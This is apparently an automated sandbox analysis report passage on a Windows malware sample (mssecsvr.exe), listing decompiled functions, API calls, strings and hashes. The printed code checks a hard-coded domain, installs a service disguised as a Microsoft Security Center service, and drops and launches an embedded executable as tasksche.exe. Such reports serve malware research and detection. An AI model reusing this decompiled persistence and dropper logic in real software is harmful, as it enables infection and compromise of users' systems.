				_t13 = InternetOpenA(_t12, 1, _t12, _t12, _t12); // executed
				_t27 = _t13;
				InternetOpenUrlA(_t27,  &_v100, 0, 0, 0x84000000, 0); // executed
				_push(_t27);
				InternetCloseHandle(); // executed
				InternetCloseHandle(0);
				E00408090();
				return 0;
			}

0x00408155
0x00408157
0x00408158
0x0040815c
0x00408160
0x00408164
0x00408168
0x0040816c
0x00408177
0x0040817b
0x0040818e
0x00408194
0x0040819c
0x004081a7
0x004081ab
0x004081ad
0x004081b9

APIs

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
InternetCloseHandle.WININET(00000000), ref: 004081A7
InternetCloseHandle.WININET(00000000), ref: 004081AB

Part of subcall function 00408090: GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
Part of subcall function 00408090: __p___argc.MSVCRT ref: 004080A5

Strings

http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com, xrefs: 0040814A

Memory Dump Source

Source File: 00000005.00000002.262697480.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.262688682.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262711248.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262716917.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262725423.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262755515.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262798278.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262954779.0000000000771000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileModuleName__p___argc
String ID: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
API String ID: 774561529-2614457033
Opcode ID: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction ID: 3b8a91e0baa4f3639afdb349cfc438007093f0a6557163af6b5eb03d237fc32a
Opcode Fuzzy Hash: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction Fuzzy Hash: B3018671548310AEE310DF748D01B6B7BE9EF85710F01082EF984F72C0EAB59804876B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407C40 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00407C40() {
				char _v260;
				void* _t15;
				void* _t17;

				sprintf( &_v260, "%s -m security", 0x70f760);
				_t15 = OpenSCManagerA(0, 0, 0xf003f);
				if(_t15 == 0) {
					return 0;
				} else {
					_t17 = CreateServiceA(_t15, "mssecsvc2.1", "Microsoft Security Center (2.1) Service", 0xf01ff, 0x10, 2, 1,  &_v260, 0, 0, 0, 0, 0);
					if(_t17 != 0) {
						StartServiceA(_t17, 0, 0);
						CloseServiceHandle(_t17);
					}
					CloseServiceHandle(_t15);
					return 0;
				}
			}

0x00407c56
0x00407c6e
0x00407c72
0x00407cd3
0x00407c74
0x00407ca7
0x00407cab
0x00407cb2
0x00407cb9
0x00407cb9
0x00407cbc
0x00407cc9
0x00407cc9

APIs

sprintf.MSVCRT ref: 00407C56
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00407C68
CreateServiceA.ADVAPI32(00000000,mssecsvc2.1,Microsoft Security Center (2.1) Service,000F01FF,00000010,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000,7006FB10,00000000), ref: 00407C9B
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00407CB2
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CB9
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CBC

Strings

%s -m security, xrefs: 00407C50
Microsoft Security Center (2.1) Service, xrefs: 00407C90
mssecsvc2.1, xrefs: 00407C95

Memory Dump Source

Source File: 00000005.00000002.262697480.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.262688682.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262711248.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262716917.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262725423.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262755515.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262798278.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262954779.0000000000771000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpenStartsprintf
String ID: %s -m security$Microsoft Security Center (2.1) Service$mssecsvc2.1
API String ID: 3340711343-2450984573
Opcode ID: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction ID: 2288e5cc66680fabefb91112cf05624c6df81315eb9d87428618c258e2ee617f
Opcode Fuzzy Hash: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction Fuzzy Hash: AD01D1717C43043BF2305B149D8BFEB3658AB84F01F500025FB44B92D0DAF9A81491AF

Uniqueness

Uniqueness Score: -1.00%

Function 00408090 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00408090() {
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				struct _SERVICE_TABLE_ENTRY _v16;
				long _t6;
				void* _t19;
				void* _t22;

				_t6 = GetModuleFileNameA(0, 0x70f760, 0x104);
				__imp____p___argc();
				_t26 =  *_t6 - 2;
				if( *_t6 >= 2) {
					_t19 = OpenSCManagerA(0, 0, 0xf003f);
					__eflags = _t19;
					if(_t19 != 0) {
						_t22 = OpenServiceA(_t19, "mssecsvc2.1", 0xf01ff);
						__eflags = _t22;
						if(_t22 != 0) {
							E00407FA0(_t22, 0x3c);
							CloseServiceHandle(_t22);
						}
						CloseServiceHandle(_t19);
					}
					_v16 = "mssecsvc2.1";
					_v12 = 0x408000;
					_v8 = 0;
					_v4 = 0;
					return StartServiceCtrlDispatcherA( &_v16);
				} else {
					return E00407F20(_t26);
				}
			}

0x0040809f
0x004080a5
0x004080ab
0x004080ae
0x004080c9
0x004080cb
0x004080cd
0x004080e8
0x004080ea
0x004080ec
0x004080f1
0x004080fa
0x004080fa
0x004080fd
0x00408100
0x00408105
0x0040810e
0x00408116
0x0040811e
0x00408130
0x004080b0
0x004080b8
0x004080b8

APIs

GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
__p___argc.MSVCRT ref: 004080A5
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
OpenServiceA.ADVAPI32(00000000,mssecsvc2.1,000F01FF,7006FB10,00000000,?,004081B2), ref: 004080DC
CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD
StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

Strings

mssecsvc2.1, xrefs: 004080D6, 00408105

Memory Dump Source

Source File: 00000005.00000002.262697480.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.262688682.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262711248.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262716917.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262725423.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262755515.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262798278.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262954779.0000000000771000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$CtrlDispatcherFileManagerModuleNameStart__p___argc
String ID: mssecsvc2.1
API String ID: 4274534310-2839763450
Opcode ID: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction ID: 0eddf8d8cc97b5ba853ece0b0f9ce4fe0dc31dc3004373c78c05f92e851b2f94
Opcode Fuzzy Hash: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction Fuzzy Hash: 4A014775640315BBE3117F149E4AF6F3AA4EF80B19F404429F544762D2DFB888188AAF

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: mssecsvr.exePID: 4764, Parent PID: 576COMMON

Execution Graph

Execution Coverage:	36.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	36
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00408090 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00408090() {
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				struct _SERVICE_TABLE_ENTRY _v16;
				long _t6;
				int _t9;
				void* _t19;
				void* _t22;

				_t6 = GetModuleFileNameA(0, 0x70f760, 0x104);
				__imp____p___argc();
				_t26 =  *_t6 - 2;
				if( *_t6 >= 2) {
					_t19 = OpenSCManagerA(0, 0, 0xf003f);
					__eflags = _t19;
					if(_t19 != 0) {
						_t22 = OpenServiceA(_t19, "mssecsvc2.1", 0xf01ff);
						__eflags = _t22;
						if(_t22 != 0) {
							E00407FA0(_t22, 0x3c);
							CloseServiceHandle(_t22);
						}
						CloseServiceHandle(_t19);
					}
					_v16 = "mssecsvc2.1";
					_v12 = 0x408000;
					_v8 = 0;
					_v4 = 0;
					_t9 = StartServiceCtrlDispatcherA( &_v16); // executed
					return _t9;
				} else {
					return E00407F20(_t26);
				}
			}

APIs

GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
__p___argc.MSVCRT ref: 004080A5
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
OpenServiceA.ADVAPI32(00000000,mssecsvc2.1,000F01FF,7006FB10,00000000,?,004081B2), ref: 004080DC
CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD
StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

Strings

mssecsvc2.1, xrefs: 004080D6, 00408105

Memory Dump Source

Source File: 00000008.00000002.772652388.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.772634448.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772686627.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772696753.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772767627.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772928576.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772957172.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772985177.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.773041569.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.773430289.0000000000771000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$CtrlDispatcherFileManagerModuleNameStart__p___argc
String ID: mssecsvc2.1
API String ID: 4274534310-2839763450
Opcode ID: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction ID: 0eddf8d8cc97b5ba853ece0b0f9ce4fe0dc31dc3004373c78c05f92e851b2f94
Opcode Fuzzy Hash: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction Fuzzy Hash: 4A014775640315BBE3117F149E4AF6F3AA4EF80B19F404429F544762D2DFB888188AAF

Uniqueness

Uniqueness Score: -1.00%

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				void* _t27;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40a1a0);
				_push(0x409ba2);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x70f894 =  *0x70f894 | 0xffffffff;
				 *0x70f898 =  *0x70f898 | 0xffffffff;
				 *(__p__fmode()) =  *0x70f88c;
				 *(__p__commode()) =  *0x70f888;
				 *0x70f890 = _adjust_fdiv;
				_t27 = E00409BA1( *_adjust_fdiv);
				_t61 =  *0x431410; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00409B9E);
				}
				E00409B8C(_t27);
				_push(0x40b010);
				_push(0x40b00c);
				L00409B86();
				_v112 =  *0x70f884;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x70f880,  &_v112);
				_push(0x40b008);
				_push(0x40b000); // executed
				L00409B86(); // executed
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00408140();
				_v108 = _t40;
				exit(_t40);
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00409B80();
				return _t41;
			}

APIs

__set_app_type.MSVCRT ref: 00409A43
__p__fmode.MSVCRT ref: 00409A58
__p__commode.MSVCRT ref: 00409A66
__setusermatherr.MSVCRT ref: 00409A92
_initterm.MSVCRT ref: 00409AA8
__getmainargs.MSVCRT ref: 00409ACB
_initterm.MSVCRT ref: 00409ADB
GetStartupInfoA.KERNEL32(?), ref: 00409B1A
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00409B3E
exit.MSVCRT ref: 00409B4E
_XcptFilter.MSVCRT ref: 00409B60

Memory Dump Source

Source File: 00000008.00000002.772652388.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.772634448.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772686627.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772696753.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772767627.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772928576.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772957172.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772985177.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.773041569.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.773430289.0000000000771000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction ID: f220c78e044b43db95b39954543cb8470338bddc8e57b6bf74c51ec52977e19a
Opcode Fuzzy Hash: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction Fuzzy Hash: AF415E71800348EFDB24DFA4ED45AAA7BB8FB09720F20413BE451A72D2D7786841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00408140() {
				char* _v1;
				char* _v3;
				char* _v7;
				char* _v11;
				char* _v15;
				char* _v19;
				char* _v23;
				void _v80;
				char _v100;
				char* _t12;
				void* _t13;
				void* _t27;

				_t12 = memcpy( &_v80, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com", 0xe << 2);
				asm("movsb");
				_v23 = _t12;
				_v19 = _t12;
				_v15 = _t12;
				_v11 = _t12;
				_v7 = _t12;
				_v3 = _t12;
				_v1 = _t12;
				_t13 = InternetOpenA(_t12, 1, _t12, _t12, _t12); // executed
				_t27 = _t13;
				InternetOpenUrlA(_t27,  &_v100, 0, 0, 0x84000000, 0); // executed
				_push(_t27);
				InternetCloseHandle(); // executed
				InternetCloseHandle(0);
				E00408090();
				return 0;
			}

0x00408155
0x00408157
0x00408158
0x0040815c
0x00408160
0x00408164
0x00408168
0x0040816c
0x00408177
0x0040817b
0x0040818e
0x00408194
0x0040819c
0x004081a7
0x004081ab
0x004081ad
0x004081b9

APIs

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
InternetCloseHandle.WININET(00000000), ref: 004081A7
InternetCloseHandle.WININET(00000000), ref: 004081AB

Part of subcall function 00408090: GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
Part of subcall function 00408090: __p___argc.MSVCRT ref: 004080A5

Strings

http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com, xrefs: 0040814A

Memory Dump Source

Source File: 00000008.00000002.772652388.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.772634448.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772686627.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772696753.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772767627.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772928576.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772957172.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772985177.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.773041569.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.773430289.0000000000771000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileModuleName__p___argc
String ID: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
API String ID: 774561529-2614457033
Opcode ID: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction ID: 3b8a91e0baa4f3639afdb349cfc438007093f0a6557163af6b5eb03d237fc32a
Opcode Fuzzy Hash: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction Fuzzy Hash: B3018671548310AEE310DF748D01B6B7BE9EF85710F01082EF984F72C0EAB59804876B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407C40 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00407C40() {
				char _v260;
				void* _t15;
				void* _t17;

				sprintf( &_v260, "%s -m security", 0x70f760);
				_t15 = OpenSCManagerA(0, 0, 0xf003f);
				if(_t15 == 0) {
					return 0;
				} else {
					_t17 = CreateServiceA(_t15, "mssecsvc2.1", "Microsoft Security Center (2.1) Service", 0xf01ff, 0x10, 2, 1,  &_v260, 0, 0, 0, 0, 0);
					if(_t17 != 0) {
						StartServiceA(_t17, 0, 0);
						CloseServiceHandle(_t17);
					}
					CloseServiceHandle(_t15);
					return 0;
				}
			}

0x00407c56
0x00407c6e
0x00407c72
0x00407cd3
0x00407c74
0x00407ca7
0x00407cab
0x00407cb2
0x00407cb9
0x00407cb9
0x00407cbc
0x00407cc9
0x00407cc9

APIs

sprintf.MSVCRT ref: 00407C56
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00407C68
CreateServiceA.ADVAPI32(00000000,mssecsvc2.1,Microsoft Security Center (2.1) Service,000F01FF,00000010,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000,7006FB10,00000000), ref: 00407C9B
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00407CB2
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CB9
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CBC

Strings

Microsoft Security Center (2.1) Service, xrefs: 00407C90
mssecsvc2.1, xrefs: 00407C95
%s -m security, xrefs: 00407C50

Memory Dump Source

Source File: 00000008.00000002.772652388.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.772634448.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772686627.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772696753.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772767627.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772928576.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772957172.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772985177.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.773041569.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.773430289.0000000000771000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpenStartsprintf
String ID: %s -m security$Microsoft Security Center (2.1) Service$mssecsvc2.1
API String ID: 3340711343-2450984573
Opcode ID: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction ID: 2288e5cc66680fabefb91112cf05624c6df81315eb9d87428618c258e2ee617f
Opcode Fuzzy Hash: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction Fuzzy Hash: AD01D1717C43043BF2305B149D8BFEB3658AB84F01F500025FB44B92D0DAF9A81491AF

Uniqueness

Uniqueness Score: -1.00%

Function 00407CE0 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 175
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 36%

			E00407CE0() {
				void _v259;
				char _v260;
				void _v519;
				char _v520;
				char _v572;
				short _v592;
				intOrPtr _v596;
				void* _v608;
				void _v636;
				char _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				char _v656;
				intOrPtr _v692;
				intOrPtr _v700;
				_Unknown_base(*)()* _t36;
				void* _t38;
				void* _t39;
				intOrPtr _t64;
				struct HINSTANCE__* _t104;
				struct HRSRC__* _t105;
				void* _t107;
				void* _t108;
				long _t109;
				intOrPtr _t121;
				intOrPtr _t122;

				_t104 = GetModuleHandleW(L"kernel32.dll");
				if(_t104 != 0) {
					 *0x431478 = GetProcAddress(_t104, "CreateProcessA");
					 *0x431458 = GetProcAddress(_t104, "CreateFileA");
					 *0x431460 = GetProcAddress(_t104, "WriteFile");
					_t36 = GetProcAddress(_t104, "CloseHandle");
					_t64 =  *0x431478; // 0x0
					 *0x43144c = _t36;
					if(_t64 != 0) {
						_t121 =  *0x431458; // 0x0
						if(_t121 != 0) {
							_t122 =  *0x431460; // 0x0
							if(_t122 != 0 && _t36 != 0) {
								_t105 = FindResourceA(0, 0x727, "R");
								if(_t105 != 0) {
									_t38 = LoadResource(0, _t105);
									if(_t38 != 0) {
										_t39 = LockResource(_t38);
										_v608 = _t39;
										if(_t39 != 0) {
											_t109 = SizeofResource(0, _t105);
											if(_t109 != 0) {
												_v520 = 0;
												memset( &_v519, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												_v260 = 0;
												memset( &_v259, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												sprintf( &_v520, "C:\\%s\\%s", "WINDOWS", "tasksche.exe");
												sprintf( &_v260, "C:\\%s\\qeriuwjhrf", "WINDOWS");
												MoveFileExA( &_v520,  &_v260, 1);
												_t107 =  *0x431458( &_v520, 0x40000000, 0, 0, 2, 4, 0);
												if(_t107 != 0xffffffff) {
													 *0x431460(_t107, _v636, _t109,  &_v636, 0);
													 *0x43144c(_t107);
													_v652 = 0;
													_v648 = 0;
													_v644 = 0;
													memset( &_v636, 0, 0x10 << 2);
													asm("repne scasb");
													_v656 = 0;
													_t108 = " /i";
													asm("repne scasb");
													memcpy( &_v572 - 1, _t108, 0 << 2);
													_push( &_v656);
													memcpy(_t108 + 0x175b75a, _t108, 0);
													_push( &_v640);
													_push(0);
													_push(0);
													_push(0x8000000);
													_push(0);
													_push(0);
													_push(0);
													_push( &_v572);
													_push(0);
													_v640 = 0x44;
													_v592 = 0;
													_v596 = 0x81;
													if( *0x431478() != 0) {
														 *0x43144c(_v692);
														 *0x43144c(_v700);
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return 0;
			}

0x00407cf5
0x00407cfb
0x00407d15
0x00407d22
0x00407d2f
0x00407d34
0x00407d36
0x00407d3c
0x00407d43
0x00407d49
0x00407d4f
0x00407d55
0x00407d5b
0x00407d7a
0x00407d7e
0x00407d86
0x00407d8e
0x00407d95
0x00407d9d
0x00407da1
0x00407daf
0x00407db3
0x00407dc4
0x00407dc8
0x00407dca
0x00407dcc
0x00407ddb
0x00407de2
0x00407def
0x00407df1
0x00407e01
0x00407e18
0x00407e2c
0x00407e49
0x00407e4e
0x00407e61
0x00407e68
0x00407e72
0x00407e7a
0x00407e82
0x00407e8b
0x00407e95
0x00407e9b
0x00407e9f
0x00407ea8
0x00407eb0
0x00407ebb
0x00407ebc
0x00407ec6
0x00407ec7
0x00407ec8
0x00407ec9
0x00407ece
0x00407ecf
0x00407ed0
0x00407ed1
0x00407ed2
0x00407ed3
0x00407edb
0x00407ee0
0x00407ef0
0x00407ef7
0x00407f02
0x00407f02
0x00407ef0
0x00407e4e
0x00407db3
0x00407da1
0x00407d8e
0x00407d7e
0x00407d5b
0x00407d4f
0x00407d43
0x00407f14

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,7006FB10,?,00000000), ref: 00407CEF
GetProcAddress.KERNEL32(00000000,CreateProcessA), ref: 00407D0D
GetProcAddress.KERNEL32(00000000,CreateFileA), ref: 00407D1A
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00407D27
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00407D34
FindResourceA.KERNEL32(00000000,00000727,0043137C), ref: 00407D74
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407D86
LockResource.KERNEL32(00000000,?,00000000), ref: 00407D95
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407DA9
sprintf.MSVCRT ref: 00407E01
sprintf.MSVCRT ref: 00407E18
